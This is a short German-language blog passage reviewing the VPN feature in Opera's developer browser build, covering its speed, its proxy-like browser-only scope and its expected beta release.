In einem kurzen Test haben die VPN-Funktion und der Standortwechsel einwandfrei funktioniert. Je nach gewähltem Standort war die Verbindung aber relativ langsam, wodurch die Lösung aktuell weniger für YouTube, sondern eher zum Surfen geeignet ist. Hier wird Opera in Zukunft sicher noch nachbessern. Die native Verzahnung mit dem Browser und die einfache Bedienung haben mir aber sehr gut gefallen. Fairerweise sollte ich noch erwähnen, dass es sich eher um einen Proxy-ähnlichen Dienst handelt, der nur für den Browser funktioniert. Eine richtige VPN-Lösung agiert systemweit und kann von jeglicher Software genutzt werden.

In den nächsten Wochen dürfte die VPN-Funktion auch in der Betaversion verfügbar sein, bevor sie dann für die finale Version freigegeben wird.

Download Opera Developer